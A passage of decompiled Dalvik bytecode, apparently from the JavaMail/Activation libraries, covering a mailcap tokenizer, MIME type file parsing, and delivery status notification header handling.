00000012 invoke-virtual StringBuffer->ensureCapacity(I)V, v2, v1
00000018 const/4 v0, 0x0
:1A
0000001A if-lt v0, v1, :28
:1E
0000001E invoke-virtual StringBuffer->toString()String, v2
00000024 move-result-object v0
00000026 return-object v0
:28
00000028 invoke-virtual String->charAt(I)C, p0, v0
0000002E move-result v3
00000030 const/16 v4, 0x5C
00000034 if-eq v3, v4, :44
:38
00000038 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v3
:3E
0000003E add-int/lit8 v0, v0, 0x1
00000042 goto :1A
:44
00000044 add-int/lit8 v4, v1, 0xFFFFFFFFFFFFFFFF
00000048 if-ge v0, v4, :64
:4C
0000004C add-int/lit8 v3, v0, 0x1
00000050 invoke-virtual String->charAt(I)C, p0, v3
00000056 move-result v3
00000058 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v3
0000005E add-int/lit8 v0, v0, 0x1
00000062 goto :3E
:64
00000064 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v3
0000006A goto :3E
.end method
.method private static isControlChar(C)Z
.registers 2
00000000 invoke-static Character->isISOControl(C)Z, p0
00000006 move-result v0
00000008 return v0
.end method
.method private static isSpecialChar(C)Z
.registers 2
00000000 const/4 v0, 0x0
00000002 sparse-switch p0, :10
:8
00000008 return v0
:A
0000000A const/4 v0, 0x1
0000000C goto :8
00000010 .sparse-switch
0x22 -> :A
0x28 -> :A
0x29 -> :A
0x2C -> :A
0x2F -> :A
0x3A -> :A
0x3B -> :A
0x3C -> :A
0x3D -> :A
0x3E -> :A
0x3F -> :A
0x40 -> :A
0x5B -> :A
0x5C -> :A
0x5D -> :A
.end sparse-switch
.end method
.method private static isStringTokenChar(C)Z
.registers 2
00000000 invoke-static MailcapTokenizer->isSpecialChar(C)Z, p0
00000006 move-result v0
00000008 if-nez v0, :28
:C
0000000C invoke-static MailcapTokenizer->isControlChar(C)Z, p0
00000012 move-result v0
00000014 if-nez v0, :28
:18
00000018 invoke-static MailcapTokenizer->isWhiteSpaceChar(C)Z, p0
0000001E move-result v0
00000020 if-nez v0, :28
:24
00000024 const/4 v0, 0x1
:26
00000026 return v0
:28
00000028 const/4 v0, 0x0
0000002A goto :26
.end method
.method private static isWhiteSpaceChar(C)Z
.registers 2
00000000 invoke-static Character->isWhitespace(C)Z, p0
00000006 move-result v0
00000008 return v0
.end method
.method public static nameForToken(I)String
.registers 2
00000000 const-string v0, "really unknown"
00000004 sparse-switch p0, :38
:A
0000000A return-object v0
:C
0000000C const-string v0, "unknown"
00000010 goto :A
:12
00000012 const-string v0, "start"
00000016 goto :A
:18
00000018 const-string v0, "string"
0000001C goto :A
:1E
0000001E const-string v0, "EOI"
00000022 goto :A
:24
00000024 const-string v0, "\'/\'"
00000028 goto :A
:2A
0000002A const-string v0, "\';\'"
0000002E goto :A
:30
00000030 const-string v0, "\'=\'"
00000034 goto :A
00000038 .sparse-switch
0x0 -> :C
0x1 -> :12
0x2 -> :18
0x5 -> :1E
0x2F -> :24
0x3B -> :2A
0x3D -> :30
.end sparse-switch
.end method
.method private processAutoquoteToken()V
.registers 5
00000000 iget v1, p0, MailcapTokenizer->dataIndex:I
00000004 const/4 v0, 0x0
:6
00000006 iget v2, p0, MailcapTokenizer->dataIndex:I
0000000A iget v3, p0, MailcapTokenizer->dataLength:I
0000000E if-ge v2, v3, :16
:12
00000012 if-eqz v0, :3A
:16
00000016 const/4 v0, 0x2
00000018 iput v0, p0, MailcapTokenizer->currentToken:I
0000001C iget-object v0, p0, MailcapTokenizer->data:String
00000020 iget v2, p0, MailcapTokenizer->dataIndex:I
00000024 invoke-virtual String->substring(I, I)String, v0, v1, v2
0000002A move-result-object v0
0000002C invoke-static MailcapTokenizer->fixEscapeSequences(String)String, v0
00000032 move-result-object v0
00000034 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
00000038 return-void
:3A
0000003A iget-object v2, p0, MailcapTokenizer->data:String
0000003E iget v3, p0, MailcapTokenizer->dataIndex:I
00000042 invoke-virtual String->charAt(I)C, v2, v3
00000048 move-result v2
0000004A iget-char v3, p0, MailcapTokenizer->autoquoteChar:C
0000004E if-eq v2, v3, :60
:52
00000052 iget v2, p0, MailcapTokenizer->dataIndex:I
00000056 add-int/lit8 v2, v2, 0x1
0000005A iput v2, p0, MailcapTokenizer->dataIndex:I
0000005E goto :6
:60
00000060 const/4 v0, 0x1
00000062 goto :6
.end method
.method private processStringToken()V
.registers 4
00000000 iget v0, p0, MailcapTokenizer->dataIndex:I
:4
00000004 iget v1, p0, MailcapTokenizer->dataIndex:I
00000008 iget v2, p0, MailcapTokenizer->dataLength:I
0000000C if-ge v1, v2, :2C
:10
00000010 iget-object v1, p0, MailcapTokenizer->data:String
00000014 iget v2, p0, MailcapTokenizer->dataIndex:I
00000018 invoke-virtual String->charAt(I)C, v1, v2
0000001E move-result v1
00000020 invoke-static MailcapTokenizer->isStringTokenChar(C)Z, v1
00000026 move-result v1
00000028 if-nez v1, :48
:2C
0000002C const/4 v1, 0x2
0000002E iput v1, p0, MailcapTokenizer->currentToken:I
00000032 iget-object v1, p0, MailcapTokenizer->data:String
00000036 iget v2, p0, MailcapTokenizer->dataIndex:I
0000003A invoke-virtual String->substring(I, I)String, v1, v0, v2
00000040 move-result-object v0
00000042 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
00000046 return-void
:48
00000048 iget v1, p0, MailcapTokenizer->dataIndex:I
0000004C add-int/lit8 v1, v1, 0x1
00000050 iput v1, p0, MailcapTokenizer->dataIndex:I
00000054 goto :4
.end method
.method public getCurrentToken()I
.registers 2
00000000 iget v0, p0, MailcapTokenizer->currentToken:I
00000004 return v0
.end method
.method public getCurrentTokenValue()String
.registers 2
00000000 iget-object v0, p0, MailcapTokenizer->currentTokenValue:String
00000004 return-object v0
.end method
.method public nextToken()I
.registers 7
00000000 const/4 v5, 0x0
00000002 const/16 v4, 0x3D
00000006 const/16 v3, 0x3B
0000000A const/4 v2, 0x5
0000000C iget v0, p0, MailcapTokenizer->dataIndex:I
00000010 iget v1, p0, MailcapTokenizer->dataLength:I
00000014 if-ge v0, v1, :12E
:18
00000018 iget v0, p0, MailcapTokenizer->dataIndex:I
0000001C iget v1, p0, MailcapTokenizer->dataLength:I
00000020 if-ge v0, v1, :40
:24
00000024 iget-object v0, p0, MailcapTokenizer->data:String
00000028 iget v1, p0, MailcapTokenizer->dataIndex:I
0000002C invoke-virtual String->charAt(I)C, v0, v1
00000032 move-result v0
00000034 invoke-static MailcapTokenizer->isWhiteSpaceChar(C)Z, v0
0000003A move-result v0
0000003C if-nez v0, :98
:40
00000040 iget v0, p0, MailcapTokenizer->dataIndex:I
00000044 iget v1, p0, MailcapTokenizer->dataLength:I
00000048 if-ge v0, v1, :124
:4C
0000004C iget-object v0, p0, MailcapTokenizer->data:String
00000050 iget v1, p0, MailcapTokenizer->dataIndex:I
00000054 invoke-virtual String->charAt(I)C, v0, v1
0000005A move-result v0
0000005C iget-boolean v1, p0, MailcapTokenizer->isAutoquoting:Z
00000060 if-eqz v1, :AE
:64
00000064 if-eq v0, v3, :6C
:68
00000068 if-ne v0, v4, :A6
:6C
0000006C iput v0, p0, MailcapTokenizer->currentToken:I
00000070 new-instance v1, Character
00000074 invoke-direct Character-><init>(C)V, v1, v0
0000007A invoke-virtual Character->toString()String, v1
00000080 move-result-object v0
00000082 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
00000086 iget v0, p0, MailcapTokenizer->dataIndex:I
0000008A add-int/lit8 v0, v0, 0x1
0000008E iput v0, p0, MailcapTokenizer->dataIndex:I
:92
00000092 iget v0, p0, MailcapTokenizer->currentToken:I
00000096 return v0
:98
00000098 iget v0, p0, MailcapTokenizer->dataIndex:I
0000009C add-int/lit8 v0, v0, 0x1
000000A0 iput v0, p0, MailcapTokenizer->dataIndex:I
000000A4 goto :18
:A6
000000A6 invoke-direct MailcapTokenizer->processAutoquoteToken()V, p0
000000AC goto :92
:AE
000000AE invoke-static MailcapTokenizer->isStringTokenChar(C)Z, v0
000000B4 move-result v1
000000B6 if-eqz v1, :C2
:BA
000000BA invoke-direct MailcapTokenizer->processStringToken()V, p0
000000C0 goto :92
:C2
000000C2 const/16 v1, 0x2F
000000C6 if-eq v0, v1, :D2
:CA
000000CA if-eq v0, v3, :D2
:CE
000000CE if-ne v0, v4, :FA
:D2
000000D2 iput v0, p0, MailcapTokenizer->currentToken:I
000000D6 new-instance v1, Character
000000DA invoke-direct Character-><init>(C)V, v1, v0
000000E0 invoke-virtual Character->toString()String, v1
000000E6 move-result-object v0
000000E8 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
000000EC iget v0, p0, MailcapTokenizer->dataIndex:I
000000F0 add-int/lit8 v0, v0, 0x1
000000F4 iput v0, p0, MailcapTokenizer->dataIndex:I
000000F8 goto :92
:FA
000000FA const/4 v1, 0x0
000000FC iput v1, p0, MailcapTokenizer->currentToken:I
00000100 new-instance v1, Character
00000104 invoke-direct Character-><init>(C)V, v1, v0
0000010A invoke-virtual Character->toString()String, v1
00000110 move-result-object v0
00000112 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
00000116 iget v0, p0, MailcapTokenizer->dataIndex:I
0000011A add-int/lit8 v0, v0, 0x1
0000011E iput v0, p0, MailcapTokenizer->dataIndex:I
00000122 goto :92
:124
00000124 iput v2, p0, MailcapTokenizer->currentToken:I
00000128 iput-object v5, p0, MailcapTokenizer->currentTokenValue:String
0000012C goto :92
:12E
0000012E iput v2, p0, MailcapTokenizer->currentToken:I
00000132 iput-object v5, p0, MailcapTokenizer->currentTokenValue:String
00000136 goto :92
.end method
.method public setIsAutoquoting(Z)V
.registers 2
00000000 iput-boolean p1, p0, MailcapTokenizer->isAutoquoting:Z
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public MimeTypeEntry
.super Object
.source ""
.field private extension:String
.field private type:String
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, MimeTypeEntry->type:String
0000000A iput-object p2, p0, MimeTypeEntry->extension:String
0000000E return-void
.end method
.method public getFileExtension()String
.registers 2
00000000 iget-object v0, p0, MimeTypeEntry->extension:String
00000004 return-object v0
.end method
.method public getMIMEType()String
.registers 2
00000000 iget-object v0, p0, MimeTypeEntry->type:String
00000004 return-object v0
.end method
.method public toString()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "MIMETypeEntry: "
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E iget-object v1, p0, MimeTypeEntry->type:String
00000012 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000018 move-result-object v0
0000001A const-string v1, ", "
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 iget-object v1, p0, MimeTypeEntry->extension:String
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000030 move-result-object v0
00000032 invoke-virtual StringBuilder->toString()String, v0
00000038 move-result-object v0
0000003A return-object v0
.end method
#--------------------------------------------------------------------------------
.class public MimeTypeFile
.super Object
.source ""
.field private fname:String
.field private type_hash:Hashtable
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, MimeTypeFile->fname:String
0000000C new-instance v0, Hashtable
00000010 invoke-direct Hashtable-><init>()V, v0
00000016 iput-object v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A return-void
.end method
.method public constructor <init>(InputStream)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, MimeTypeFile->fname:String
0000000C new-instance v0, Hashtable
00000010 invoke-direct Hashtable-><init>()V, v0
00000016 iput-object v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A new-instance v0, BufferedReader
0000001E new-instance v1, InputStreamReader
00000022 const-string v2, "iso-8859-1"
00000026 invoke-direct InputStreamReader-><init>(InputStream, String)V, v1, p1, v2
0000002C invoke-direct BufferedReader-><init>(Reader)V, v0, v1
00000032 invoke-direct MimeTypeFile->parse(BufferedReader)V, p0, v0
00000038 return-void
.end method
.method public constructor <init>(String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, MimeTypeFile->fname:String
0000000C new-instance v0, Hashtable
00000010 invoke-direct Hashtable-><init>()V, v0
00000016 iput-object v0, p0, MimeTypeFile->type_hash:Hashtable
0000001A iput-object p1, p0, MimeTypeFile->fname:String
0000001E new-instance v0, File
00000022 iget-object v1, p0, MimeTypeFile->fname:String
00000026 invoke-direct File-><init>(String)V, v0, v1
0000002C new-instance v1, FileReader
00000030 invoke-direct FileReader-><init>(File)V, v1, v0
:36
00000036 new-instance v0, BufferedReader
0000003A invoke-direct BufferedReader-><init>(Reader)V, v0, v1
00000040 invoke-direct MimeTypeFile->parse(BufferedReader)V, p0, v0
:46
00000046 invoke-virtual FileReader->close()V, v1
:4C
0000004C return-void
:4E
0000004E move-exception v0
:50
00000050 invoke-virtual FileReader->close()V, v1
:56
00000056 throw v0
:58
00000058 move-exception v1
0000005A goto :56
:5C
0000005C move-exception v0
0000005E goto :4C
.catchall {:36 .. :46} :4E
.catch IOException {:46 .. :4C} :5C
.catch IOException {:50 .. :56} :58
.end method
.method private parse(BufferedReader)V
.registers 7
00000000 const/4 v2, 0x0
00000002 move-object v1, v2
:4
00000004 invoke-virtual BufferedReader->readLine()String, p1
0000000A move-result-object v0
0000000C if-nez v0, :1C
:10
00000010 if-eqz v1, :1A
:14
00000014 invoke-direct MimeTypeFile->parseEntry(String)V, p0, v1
:1A
0000001A return-void
:1C
0000001C if-nez v1, :5A
:20
00000020 invoke-virtual String->length()I, v0
00000026 move-result v1
00000028 invoke-virtual String->length()I, v0
0000002E move-result v3
00000030 if-lez v3, :7E
:34
00000034 add-int/lit8 v3, v1, 0xFFFFFFFFFFFFFFFF
00000038 invoke-virtual String->charAt(I)C, v0, v3
0000003E move-result v3
00000040 const/16 v4, 0x5C
00000044 if-ne v3, v4, :7E
:48
00000048 const/4 v3, 0x0
0000004A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000004E invoke-virtual String->substring(I, I)String, v0, v3, v1
00000054 move-result-object v0
00000056 move-object v1, v0
00000058 goto :4
:5A
0000005A new-instance v3, StringBuilder
0000005E invoke-static String->valueOf(Object)String, v1
00000064 move-result-object v1
00000066 invoke-direct StringBuilder-><init>(String)V, v3, v1
0000006C invoke-virtual StringBuilder->append(String)StringBuilder, v3, v0
00000072 move-result-object v0
00000074 invoke-virtual StringBuilder->toString()String, v0
0000007A move-result-object v0
0000007C goto :20
:7E
0000007E invoke-direct MimeTypeFile->parseEntry(String)V, p0, v0
00000084 move-object v1, v2
00000086 goto :4
.end method
.method private parseEntry(String)V
.registers 10
00000000 const/4 v1, 0x0
00000002 invoke-virtual String->trim()String, p1
00000008 move-result-object v3
0000000A invoke-virtual String->length()I, v3
00000010 move-result v0
00000012 if-nez v0, :18
:16
00000016 return-void
:18
00000018 const/4 v0, 0x0
0000001A invoke-virtual String->charAt(I)C, v3, v0
00000020 move-result v0
00000022 const/16 v2, 0x23
00000026 if-eq v0, v2, :16
:2A
0000002A const/16 v0, 0x3D
0000002E invoke-virtual String->indexOf(I)I, v3, v0
00000034 move-result v0
00000036 if-lez v0, :15C
:3A
0000003A new-instance v4, LineTokenizer
0000003E invoke-direct LineTokenizer-><init>(String)V, v4, v3
00000044 move-object v0, v1
:46
00000046 invoke-virtual LineTokenizer->hasMoreTokens()Z, v4
0000004C move-result v2
0000004E if-eqz v2, :16
:52
00000052 invoke-virtual LineTokenizer->nextToken()String, v4
00000058 move-result-object v5
0000005A invoke-virtual LineTokenizer->hasMoreTokens()Z, v4
00000060 move-result v2
00000062 if-eqz v2, :1DC
:66
00000066 invoke-virtual LineTokenizer->nextToken()String, v4
0000006C move-result-object v2
0000006E const-string v6, "="
00000072 invoke-virtual String->equals(Object)Z, v2, v6
00000078 move-result v2
0000007A if-eqz v2, :1DC
:7E
0000007E invoke-virtual LineTokenizer->hasMoreTokens()Z, v4
00000084 move-result v2
00000086 if-eqz v2, :1DC
:8A
0000008A invoke-virtual LineTokenizer->nextToken()String, v4
00000090 move-result-object v2
:92
00000092 if-nez v2, :C8
:96
00000096 invoke-static LogSupport->isLoggable()Z
0000009C move-result v0
0000009E if-eqz v0, :16
:A2
000000A2 new-instance v0, StringBuilder
000000A6 const-string v1, "Bad .mime.types entry: "
000000AA invoke-direct StringBuilder-><init>(String)V, v0, v1
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
000000B6 move-result-object v0
000000B8 invoke-virtual StringBuilder->toString()String, v0
000000BE move-result-object v0
000000C0 invoke-static LogSupport->log(String)V, v0
000000C6 goto :16
:C8
000000C8 const-string v6, "type"
000000CC invoke-virtual String->equals(Object)Z, v5, v6
000000D2 move-result v6
000000D4 if-eqz v6, :DC
:D8
000000D8 move-object v0, v2
000000DA goto :46
:DC
000000DC const-string v6, "exts"
000000E0 invoke-virtual String->equals(Object)Z, v5, v6
000000E6 move-result v5
000000E8 if-eqz v5, :46
:EC
000000EC new-instance v5, StringTokenizer
000000F0 const-string v6, ","
000000F4 invoke-direct StringTokenizer-><init>(String, String)V, v5, v2, v6
:FA
000000FA invoke-virtual StringTokenizer->hasMoreTokens()Z, v5
00000100 move-result v2
00000102 if-eqz v2, :46
:106
00000106 invoke-virtual StringTokenizer->nextToken()String, v5
0000010C move-result-object v2
0000010E new-instance v6, MimeTypeEntry
00000112 invoke-direct MimeTypeEntry-><init>(String, String)V, v6, v0, v2
00000118 iget-object v7, p0, MimeTypeFile->type_hash:Hashtable
0000011C invoke-virtual Hashtable->put(Object, Object)Object, v7, v2, v6
00000122 invoke-static LogSupport->isLoggable()Z
00000128 move-result v2
0000012A if-eqz v2, :FA
:12E
0000012E new-instance v2, StringBuilder
00000132 const-string v7, "Added: "
00000136 invoke-direct StringBuilder-><init>(String)V, v2, v7
0000013C invoke-virtual MimeTypeEntry->toString()String, v6
00000142 move-result-object v6
00000144 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v6
0000014A move-result-object v2
0000014C invoke-virtual StringBuilder->toString()String, v2
00000152 move-result-object v2
00000154 invoke-static LogSupport->log(String)V, v2
0000015A goto :FA
:15C
0000015C new-instance v0, StringTokenizer
00000160 invoke-direct StringTokenizer-><init>(String)V, v0, v3
00000166 invoke-virtual StringTokenizer->countTokens()I, v0
0000016C move-result v1
0000016E if-eqz v1, :16
:172
00000172 invoke-virtual StringTokenizer->nextToken()String, v0
00000178 move-result-object v1
:17A
0000017A invoke-virtual StringTokenizer->hasMoreTokens()Z, v0
00000180 move-result v2
00000182 if-eqz v2, :16
:186
00000186 invoke-virtual StringTokenizer->nextToken()String, v0
0000018C move-result-object v2
0000018E new-instance v3, MimeTypeEntry
00000192 invoke-direct MimeTypeEntry-><init>(String, String)V, v3, v1, v2
00000198 iget-object v4, p0, MimeTypeFile->type_hash:Hashtable
0000019C invoke-virtual Hashtable->put(Object, Object)Object, v4, v2, v3
000001A2 invoke-static LogSupport->isLoggable()Z
000001A8 move-result v2
000001AA if-eqz v2, :17A
:1AE
000001AE new-instance v2, StringBuilder
000001B2 const-string v4, "Added: "
000001B6 invoke-direct StringBuilder-><init>(String)V, v2, v4
000001BC invoke-virtual MimeTypeEntry->toString()String, v3
000001C2 move-result-object v3
000001C4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000001CA move-result-object v2
000001CC invoke-virtual StringBuilder->toString()String, v2
000001D2 move-result-object v2
000001D4 invoke-static LogSupport->log(String)V, v2
000001DA goto :17A
:1DC
000001DC move-object v2, v1
000001DE goto/16 :92
.end method
.method public appendToRegistry(String)V
.registers 4
00000000 new-instance v0, BufferedReader
00000004 new-instance v1, StringReader
00000008 invoke-direct StringReader-><init>(String)V, v1, p1
0000000E invoke-direct BufferedReader-><init>(Reader)V, v0, v1
00000014 invoke-direct MimeTypeFile->parse(BufferedReader)V, p0, v0
:1A
0000001A return-void
:1C
0000001C move-exception v0
0000001E goto :1A
.catch IOException {:0 .. :1A} :1C
.end method
.method public getMIMETypeString(String)String
.registers 3
00000000 invoke-virtual MimeTypeFile->getMimeTypeEntry(String)MimeTypeEntry, p0, p1
00000006 move-result-object v0
00000008 if-eqz v0, :16
:C
0000000C invoke-virtual MimeTypeEntry->getMIMEType()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getMimeTypeEntry(String)MimeTypeEntry
.registers 3
00000000 iget-object v0, p0, MimeTypeFile->type_hash:Hashtable
00000004 invoke-virtual Hashtable->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, MimeTypeEntry
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public DeliveryStatus
.super Object
.source ""
.field private static debug:Z
.field protected messageDSN:InternetHeaders
.field protected recipientDSN:[InternetHeaders
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v0, 0x0
00000002 sput-boolean v0, DeliveryStatus->debug:Z
:6
00000006 const-string v1, "mail.dsn.debug"
0000000A invoke-static System->getProperty(String)String, v1
00000010 move-result-object v1
00000012 if-eqz v1, :28
:16
00000016 const-string v2, "false"
0000001A invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
00000020 move-result v1
00000022 if-nez v1, :28
:26
00000026 const/4 v0, 0x1
:28
00000028 sput-boolean v0, DeliveryStatus->debug:Z
:2C
0000002C return-void
:2E
0000002E move-exception v0
00000030 goto :2C
.catch SecurityException {:6 .. :2C} :2E
.end method
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, InternetHeaders
0000000A invoke-direct InternetHeaders-><init>()V, v0
00000010 iput-object v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000014 const/4 v0, 0x0
00000016 new-array v0, v0, [InternetHeaders
0000001A iput-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000001E return-void
.end method
.method public constructor <init>(InputStream)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, InternetHeaders
0000000A invoke-direct InternetHeaders-><init>(InputStream)V, v0, p1
00000010 iput-object v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000014 sget-boolean v0, DeliveryStatus->debug:Z
00000018 if-eqz v0, :2A
:1C
0000001C sget-object v0, System->out:PrintStream
00000020 const-string v1, "DSN: got messageDSN"
00000024 invoke-virtual PrintStream->println(String)V, v0, v1
:2A
0000002A new-instance v0, Vector
0000002E invoke-direct Vector-><init>()V, v0
:34
00000034 invoke-virtual InputStream->available()I, p1
:3A
0000003A move-result v1
0000003C if-gtz v1, :94
:40
00000040 sget-boolean v1, DeliveryStatus->debug:Z
00000044 if-eqz v1, :78
:48
00000048 sget-object v1, System->out:PrintStream
0000004C new-instance v2, StringBuilder
00000050 const-string v3, "DSN: recipientDSN size "
00000054 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000005A invoke-virtual Vector->size()I, v0
00000060 move-result v3
00000062 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
00000068 move-result-object v2
0000006A invoke-virtual StringBuilder->toString()String, v2
00000070 move-result-object v2
00000072 invoke-virtual PrintStream->println(String)V, v1, v2
:78
00000078 invoke-virtual Vector->size()I, v0
0000007E move-result v1
00000080 new-array v1, v1, [InternetHeaders
00000084 iput-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000088 iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000008C invoke-virtual Vector->copyInto([Object)V, v0, v1
00000092 return-void
:94
00000094 new-instance v1, InternetHeaders
00000098 invoke-direct InternetHeaders-><init>(InputStream)V, v1, p1
0000009E sget-boolean v2, DeliveryStatus->debug:Z
000000A2 if-eqz v2, :B4
:A6
000000A6 sget-object v2, System->out:PrintStream
000000AA const-string v3, "DSN: got recipientDSN"
000000AE invoke-virtual PrintStream->println(String)V, v2, v3
:B4
000000B4 invoke-virtual Vector->addElement(Object)V, v0, v1
:BA
000000BA goto :34
:BC
000000BC move-exception v1
000000BE sget-boolean v1, DeliveryStatus->debug:Z
000000C2 if-eqz v1, :40
:C6
000000C6 sget-object v1, System->out:PrintStream
000000CA const-string v2, "DSN: got EOFException"
000000CE invoke-virtual PrintStream->println(String)V, v1, v2
000000D4 goto :40
.catch EOFException {:34 .. :3A} :BC
.catch EOFException {:94 .. :BA} :BC
.end method
.method private static writeInternetHeaders(InternetHeaders, LineOutputStream)V
.registers 6
00000000 invoke-virtual InternetHeaders->getAllHeaderLines()Enumeration, p0
00000006 move-result-object v1
:8
00000008 invoke-interface Enumeration->hasMoreElements()Z, v1
0000000E move-result v0
00000010 if-nez v0, :16
:14
00000014 return-void
:16
00000016 invoke-interface Enumeration->nextElement()Object, v1
0000001C move-result-object v0
0000001E check-cast v0, String
00000022 invoke-virtual LineOutputStream->writeln(String)V, p1, v0
:28
00000028 goto :8
:2A
0000002A move-exception v0
0000002C move-object v1, v0
0000002E invoke-virtual MessagingException->getNextException()Exception, v1
00000034 move-result-object v0
00000036 instance-of v2, v0, IOException
0000003A if-eqz v2, :44
:3E
0000003E check-cast v0, IOException
00000042 throw v0
:44
00000044 new-instance v0, IOException
00000048 new-instance v2, StringBuilder
0000004C const-string v3, "Exception writing headers: "
00000050 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000056 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v1
0000005C move-result-object v1
0000005E invoke-virtual StringBuilder->toString()String, v1
00000064 move-result-object v1
00000066 invoke-direct IOException-><init>(String)V, v0, v1
0000006C throw v0
.catch MessagingException {:8 .. :28} :2A
.end method
.method public addRecipientDSN(InternetHeaders)V
.registers 6
00000000 const/4 v3, 0x0
00000002 iget-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000006 array-length v0, v0
00000008 add-int/lit8 v0, v0, 0x1
0000000C new-array v0, v0, [InternetHeaders
00000010 iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000014 iget-object v2, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000018 array-length v2, v2
0000001A invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v3, v0, v3, v2
00000020 iput-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000024 iget-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000028 iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000002C array-length v1, v1
0000002E add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000032 aput-object p1, v0, v1
00000036 return-void
.end method
.method public getMessageDSN()InternetHeaders
.registers 2
00000000 iget-object v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000004 return-object v0
.end method
.method public getRecipientDSN(I)InternetHeaders
.registers 3
00000000 iget-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000004 aget-object v0, v0, p1
00000008 return-object v0
.end method
.method public getRecipientDSNCount()I
.registers 2
00000000 iget-object v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000004 array-length v0, v0
00000006 return v0
.end method
.method public setMessageDSN(InternetHeaders)V
.registers 2
00000000 iput-object p1, p0, DeliveryStatus->messageDSN:InternetHeaders
00000004 return-void
.end method
.method public toString()String
.registers 5
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "DeliveryStatus: Reporting-MTA="
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E iget-object v1, p0, DeliveryStatus->messageDSN:InternetHeaders
00000012 const-string v2, "Reporting-MTA"
00000016 const/4 v3, 0x0
00000018 invoke-virtual InternetHeaders->getHeader(String, String)String, v1, v2, v3
0000001E move-result-object v1
00000020 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000026 move-result-object v0
00000028 const-string v1, ", #Recipients="
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000032 move-result-object v0
00000034 iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000038 array-length v1, v1
0000003A invoke-virtual StringBuilder->append(I)StringBuilder, v0, v1
00000040 move-result-object v0
00000042 invoke-virtual StringBuilder->toString()String, v0
00000048 move-result-object v0
0000004A return-object v0
.end method
.method public writeTo(OutputStream)V
.registers 4
00000000 instance-of v0, p1, LineOutputStream
00000004 if-eqz v0, :2A
:8
00000008 check-cast p1, LineOutputStream
:C
0000000C iget-object v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000010 invoke-static DeliveryStatus->writeInternetHeaders(InternetHeaders, LineOutputStream)V, v0, p1
00000016 invoke-virtual LineOutputStream->writeln()V, p1
0000001C const/4 v0, 0x0
:1E
0000001E iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000022 array-length v1, v1
00000024 if-lt v0, v1, :38
:28
00000028 return-void
:2A
0000002A new-instance v0, LineOutputStream
0000002E invoke-direct LineOutputStream-><init>(OutputStream)V, v0, p1
00000034 move-object p1, v0
00000036 goto :C
:38
00000038 iget-object v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000003C aget-object v1, v1, v0
00000040 invoke-static DeliveryStatus->writeInternetHeaders(InternetHeaders, LineOutputStream)V, v1, p1
00000046 invoke-virtual LineOutputStream->writeln()V, p1
0000004C add-int/lit8 v0, v0, 0x1
00000050 goto :1E
.end method
#--------------------------------------------------------------------------------
.class public abstract interface Part
.super Object
.source ""
.field public static final ATTACHMENT:String = "attachment"
.field public static final INLINE:String = "inline"
.method public abstract addHeader(String, String)V
.end method
.method public abstract getAllHeaders()Enumeration
.end method
